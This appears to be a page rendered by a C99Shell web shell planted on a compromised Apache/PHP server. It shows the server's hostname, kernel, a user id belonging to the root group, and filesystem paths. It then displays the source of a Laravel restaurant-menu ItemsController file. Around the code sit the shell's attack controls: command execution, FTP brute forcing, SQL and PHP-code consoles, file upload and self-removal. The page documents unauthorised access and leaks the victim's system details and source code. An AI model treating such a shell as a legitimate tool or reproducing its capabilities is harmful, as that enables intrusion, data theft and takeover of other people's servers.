!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 28.54 GB of 117.98 GB (24.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ItemsController.php (13.59 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Categories;
use 
App\Extras;
use 
App\Imports\ItemsImport;
use 
App\Items;
use 
App\Plans;
use 
App\Restorant;
use 
Illuminate\Http\Request;
use 
Image;
use 
Maatwebsite\Excel\Facades\Excel;
use 
App\Services\ConfChanger;
use 
Akaunting\Module\Facade as Module;
use 
App\Models\Allergens;

class 
ItemsController extends Controller
{
    private 
$imagePath 'uploads/restorants/';

    public function 
reorderCategories(Categories $up){
        
$up->moveOrderUp();
        return 
redirect()->route('items.index')->withStatus(__('Sort order updated'));
    }

    
/**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    
public function index()
    {
        if (
auth()->user()->hasRole('owner')) {

            
            
$canAdd auth()->user()->restorant->getPlanAttribute()['canAddNewItems'];
            

            
//Change language
            
ConfChanger::switchLanguage(auth()->user()->restorant);

            if (isset(
$_GET['remove_lang']) && auth()->user()->restorant->localmenus()->count() > 1) {
                
$localMenuToDelete=auth()->user()->restorant->localmenus()->where('language'$_GET['remove_lang'])->first();
                
$isMenuToDeleteIsDefault=$localMenuToDelete->default.""=="1";
                
$localMenuToDelete->delete();
                
                
$nextLanguageModel auth()->user()->restorant->localmenus()->first();
                
$nextLanguage $nextLanguageModel->language;
                
app()->setLocale($nextLanguage);
                
session(['applocale_change' => $nextLanguage]);

                if(
$isMenuToDeleteIsDefault){
                    
$nextLanguageModel->default=1;
                    
$nextLanguageModel->update();
                }
            }

            if(isset(
$_GET['make_default_lang'])){
                
$newDefault=auth()->user()->restorant->localmenus()->where('language'$_GET['make_default_lang'])->first();
                
$oldDefault=auth()->user()->restorant->localmenus()->where('default'"1")->first();
                
                if(
$oldDefault&&$oldDefault->language!=$_GET['make_default_lang']){
                    
$oldDefault->default=0;
                    
$oldDefault->update();
                }
                
$newDefault->default=1;
                
$newDefault->update();
                
                
                
            }

            
$currentEnvLanguage = isset(config('config.env')[2]['fields'][0]['data'][config('app.locale')]) ? config('config.env')[2]['fields'][0]['data'][config('app.locale')] : 'UNKNOWN';


            
//Change currency
            
ConfChanger::switchCurrency(auth()->user()->restorant);
            
$defaultLng=auth()->user()->restorant->localmenus->where('default','1')->first();

            

            
//Since 2.1.7 - there is sorting. 
            
$categories=auth()->user()->restorant->categories;

            
//If first item order starts with 0
            
if($categories->first()&&$categories->first()->order_index==0){
                
Categories::setNewOrder($categories->pluck('id')->toArray());

                
//Re-get categories
                
$categories=auth()->user()->restorant->categories;
            }

            return 
view('items.index', [
                
'hasMenuPDf'=>Module::has('menupdf'),
                
'canAdd'=>$canAdd,
                
'categories' => $categories,
                
'restorant_id' => auth()->user()->restorant->id,
                
'currentLanguage'=> $currentEnvLanguage,
                
'availableLanguages'=>auth()->user()->restorant->localmenus,
                
'defaultLanguage'=>$defaultLng?$defaultLng->language:""
                
]);
        } else {
            return 
redirect()->route('orders.index')->withStatus(__('No Access'));
        }
    }

    public function 
indexAdmin(Restorant $restorant)
    {
        if (
auth()->user()->hasRole('admin')) {
            return 
view('items.index', ['categories' => Restorant::findOrFail($restorant->id)->categories->reverse(), 'restorant_id' => $restorant->id]);
        } else {
            return 
redirect()->route('orders.index')->withStatus(__('No Access'));
        }
    }

    
/**
     * Show the form for creating a new resource.
     *
     * @return \Illuminate\Http\Response
     */
    
public function create()
    {
        
//
    
}

    
/**
     * Store a newly created resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    
public function store(Request $request)
    {
        
$item = new Items;
        
$item->name strip_tags($request->item_name);
        
$item->description strip_tags($request->item_description);
        
$item->price strip_tags($request->item_price);
        
$item->category_id strip_tags($request->category_id);
        
$defVat=0;
        
$resto=$this->getRestaurant();
        if(
$resto){
            
$defVat=$resto->getConfig('default_tax_value',0);
        }
        
$item->vat=$defVat;
        
        if (
$request->hasFile('item_image')) {
            
$item->image $this->saveImageVersions(
                
$this->imagePath,
                
$request->item_image,
                [
                    [
'name'=>'large''w'=>590'h'=>400],
                    
//['name'=>'thumbnail','w'=>300,'h'=>300],
                    
['name'=>'medium''w'=>295'h'=>200],
                    [
'name'=>'thumbnail''w'=>200'h'=>200],
                ]
            );
        }
        
$item->save();

        return 
redirect()->route('items.index')->withStatus(__('Item successfully updated.'));
    }

    
/**
     * Display the specified resource.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    
public function show($id)
    {
        
//
    
}

    
/**
     * Show the form for editing the specified resource.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    
public function edit(Items $item)
    {
        
//if item belongs to owner restorant menu return view
        
if (auth()->user()->hasRole('owner') && $item->category->restorant->id == auth()->user()->restorant->id || auth()->user()->hasRole('admin')) {
            
            
//Change currency
            
ConfChanger::switchCurrency($item->category->restorant);

            
$extraViews=[];
            foreach (
Module::all() as $key => $module) {
                if(
is_array($module->get('menuview'))){
                    foreach (
$module->get('menuview') as $key => $menu) {
                       
array_push($extraViews,$menu);
                    }
                }
            }

            
            
            
            return 
view('items.edit',
            [
                
'extraViews'=>$extraViews,
                
'allergens'=>Allergens::where('post_type','allergen')->get(),
                
'item' => $item,
                
'setup'=>['items'=>$item->uservariants()->paginate(1000)],
                
'restorant' => $item->category->restorant,
                
'categories'=> $item->category->restorant->categories->pluck('name','id'),
                
'restorant_id' => $item->category->restorant->id, ]);
        } else {
            return 
redirect()->route('items.index')->withStatus(__('No Access'));
        }
    }

    
/**
     * Update the specified resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    
public function update(Request $requestItems $item)
    {
        
$makeVariantsRecreate=false;
        
$item->name strip_tags($request->item_name);
        
$item->description strip_tags($request->item_description);
        
$item->category_id $request->category_id;
        if(
$item->price!=strip_tags($request->item_price)){
            
$makeVariantsRecreate=true;
        }
        
$item->price strip_tags($request->item_price);
        
$item->discounted_price strip_tags($request->discounted_price);

        if (isset(
$request->vat)) {
            
$item->vat $request->vat;
        }


        
$item->available $request->exists('itemAvailable');
        
$item->has_variants $request->exists('has_variants');
        if(!
$item->has_variants){
            
$item->enable_system_variants=0;

            
//Delete all system variants
            
$item->systemvariants()->delete();
        }else{

            
//We have variants, but do we have system variables
            
$doWoHave_enable_system_variants=$request->exists('enable_system_variants')?1:0;

            
//In case value changes from no to yes, we need to recreate
            
if($item->enable_system_variants==0&&$doWoHave_enable_system_variants==1){
                
$makeVariantsRecreate=true;
            }

            
//Set the flag for the system
            
$item->enable_system_variants=$doWoHave_enable_system_variants

            
//When we have System Variables
            
if($item->enable_system_variants==1){
                
//And we do need to make recreation
                
if($makeVariantsRecreate){
                    
//Delete all of them - since this can be a price change
                    
$item->systemvariants()->forceDelete();

                    
//And recreate once  again - with new item price
                    
$item->makeAllMissingVariants($item->price);
                }
                
            }else{
                
//Delete all system variants - we don't need system variables
                
$item->systemvariants()->forceDelete();
            }
        }

        if (
$request->hasFile('item_image')) {
            
$request->validate([
                
'item_image' => ['dimensions:max_width=2000'],
            ]);
            if (
$request->hasFile('item_image')) {
                
$large_image=['name'=>'large'];
                if(
config('settings.do_large_image_resize',false)){
                    
$large_image=['name'=>'large''w'=>590'h'=>400];
                }
                
$item->image $this->saveImageVersions(
                    
$this->imagePath,
                    
$request->item_image,
                    [
                        
$large_image,
                        [
'name'=>'medium''w'=>295'h'=>200],
                        [
'name'=>'thumbnail''w'=>200'h'=>200],
                    ]
                );
            }
        }

        
$item->update();

        return 
redirect()->route('items.edit'$item)->withStatus(__('Item successfully updated.'));
    }

    
/**
     * Remove the specified resource from storage.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    
public function destroy(Items $item)
    {
        
$item->delete();

        return 
redirect()->route('items.index')->withStatus(__('Item successfully deleted.'));
    }

    public function 
import(Request $request)
    {
        
$restorant Restorant::findOrFail($request->res_id);

        
Excel::import(new ItemsImport($restorant), request()->file('items_excel'));

        return 
redirect()->route('items.index')->withStatus(__('Items successfully imported'));
    }

    public function 
change(Items $itemRequest $request)
    {
        
$item->available $request->value;
        
$item->update();

        return 
response()->json([
            
'data' => [
                
'itemAvailable' => $item->available,
            ],
            
'status' => true,
            
'errMsg' => '',
        ]);
    }

    public function 
storeExtras(Request $requestItems $item)
    {
        
//dd($request->all());
        
if ($request->extras_id.'' == '') {
            
//New
            
$extras = new Extras;
            
$extras->name strip_tags($request->extras_name);
            
$extras->price strip_tags($request->extras_price);
            
$extras->item_id $item->id;

            
$extras->save();
        } else {
            
//Update
            
$extras Extras::where(['id'=>$request->extras_id])->get()->first();

            
$extras->name strip_tags($request->extras_name);
            
$extras->price strip_tags($request->extras_price);

            
$extras->update();
        }

        
//For variants
        //Does the item of this extra have item?
        
if ($item->has_variants.'' == 1) {
            
//In cas we have variants, we  need to check if this variant is for all variants, or only for selected one
            
if ($request->exists('variantsSelector')) {
                
$extras->extra_for_all_variants 0;
                
//Now sync the connection
                
$extras->variants()->sync($request->variantsSelector);
            } else {
                
$extras->extra_for_all_variants 1;
            }
        } else {
            
$extras->extra_for_all_variants 1;
        }
        
$extras->update();

        return 
redirect()->route('items.edit', ['item' => $item'restorant' => $item->category->restorant'restorant_id' => $item->category->restorant->id])->withStatus(__('Extras successfully added/modified.'));
    }

    public function 
editExtras(Request $requestItems $item)
    {
        
$extras Extras::where(['id'=>$request->extras_id])->get()->first();

        
$extras->name strip_tags($request->extras_name_edit);
        
$extras->price strip_tags($request->extras_price_edit);

        
$extras->update();

        return 
redirect()->route('items.edit', ['item' => $item'restorant' => $item->category->restorant'restorant_id' => $item->category->restorant->id])->withStatus(__('Extras successfully updated.'));
    }

    public function 
deleteExtras(Items $itemExtras $extras)
    {
        
$extras->delete();

        return 
redirect()->route('items.edit', ['item' => $item'restorant' => $item->category->restorant'restorant_id' => $item->category->restorant->id])->withStatus(__('Extras successfully deleted.'));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0051 ]--